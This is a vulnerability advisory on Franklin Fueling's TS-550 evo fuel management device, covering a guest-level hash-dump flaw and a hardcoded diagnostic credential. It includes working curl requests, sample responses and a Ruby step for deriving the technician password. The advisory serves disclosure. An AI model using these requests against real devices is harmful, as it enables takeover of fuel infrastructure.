Franklin Fueling's T550 Evo Access Control / Credentials

`Trustwave's SpiderLabs Security Advisory TWSL2014-001:  
Multiple Vulnerabilities in Franklin Fueling's TS-550 evo  
  
Published: 01/03/2014  
Version: 1.0  
  
Vendor: Franklin Fueling Systems (http://www.franklinfueling.com/)  
Product: TS-550 evo device  
Version affected: Firmware 2.0.0.6833 confirmed. Affects prior to version  
2.4.0  
  
Product description:  
A fuel management system with a programmable interface used for inventory  
and delivery management.  
  
Finding 1: Insufficient Access Control  
Credit: Nate Drier and Matt Jakubowski of Trustwave SpiderLabs  
CVE: CVE-2013-7247  
CWE: CWE-200  
  
As the Guest user (the lowest privilege), a user can post the  
cmdWebGetConfiguration parameter to cgi-bin/tsaws.cgi. This will return the  
usernames and password hashes (in DES format) for all users of the  
application. Once dumped, they can be cracked and used to access  
authenticated portions of the application.  
  
  
#Request  
  
curl -H "Content-Type:text/xml" --data '<TSA_REQUEST_LIST><TSA_REQUEST COMMAND="cmdWebGetConfiguration"/></TSA_REQUEST_LIST>' http://<ip>:10001/cgi-bin/tsaws.cgi  
  
#Response  
  
<TSA_RESPONSE_LIST VERSION="2.0.0.6833" TIME_STAMP="2013-02-19T22:09:22Z" TIME_STAMP_LOCAL="2013-02-19T17:09:22" KEY="11111111" ROLE="roleGuest"><TSA_RESPONSE COMMAND="cmdWebGetConfiguration"><CONFIGURATION>  
<DEBUGGING LOGGING_ENABLED="false" LOGGING_PATH="/tmp"/>  
<ROLE_LIST>  
<ROLE NAME="roleAdmin" PASSWORD="YrKMc2T2BuGvQ"/>  
<ROLE NAME="roleUser" PASSWORD="2wd2DlEKUPTr2"/>  
<ROLE NAME="roleGuest" PASSWORD="YXFCsq2GXFQV2"/>  
</ROLE_LIST>  
</CONFIGURATION></TSA_RESPONSE></TSA_RESPONSE_LIST>  
  
Finding 2: Hardcoded Technician Credentials  
Credit: Nate Drier and Matt Jakubowski of Trustwave SpiderLabs  
CVE: CVE-2013-7248  
CWE: CWE-798  
  
The three primary users on the TS550 are roleGuest, roleUser, and  
roleAdmin. Another user exists with additional access named roleDiag. This  
user can access extra portions of the application such as the command line  
interface, enable and disable SSH, as well as run SQL commands all from the  
web interface. The CLI interface includes the ability to run engineering  
and manufacturing commands. The password for roleDiag is the key (a value  
returned with every POST request to tsaws.cgi) DES encrypted. This can be  
done in Ruby:  
  
  
$ irb  
1.9.3p374 :001 > "11111111".crypt("aa")  
=> "aaDTlAa1fGGC."  
  
#Request  
  
curl -H "Content-Type:text/xml" --data '<TSA_REQUEST_LIST PASSWORD="aaDTlAa1fGGC."><TSA_REQUEST COMMAND="cmdWebCheckRole"/></TSA_REQUEST_LIST>' http://<ip>:10001/cgi-bin/tsaws.cgi  
  
#Response (note the ROLE)  
  
<TSA_RESPONSE_LIST VERSION="2.0.0.6833" TIME_STAMP="2013-03-04T16:53:01Z" TIME_STAMP_LOCAL="2013-03-04T11:53:01" KEY="11111111" ROLE="roleDiag"><TSA_RESPONSE COMMAND="cmdWebCheckRole"></TSA_RESPONSE></TSA_RESPONSE_LIST>  
  
The password can then be used to run various roleDiag commands. An attacker  
can enable SSH, and since root's password is the same as roleAdmin, they  
can completely compromise the device.  
  
Remediation Steps:  
According to Franklin Fueling, version 2.4.0 mitigates these  
vulnerabilities. However, Trustwave SpiderLabs have not verified this fix.  
  
  
Revision History:  
04/16/13 - Vulnerability disclosed to vendor  
12/18/13 - Fix released on a limited basis by vendor  
01/03/14 - Advisory published  
  
References  
1. http://www.franklinfueling.com/evo/  
  
  
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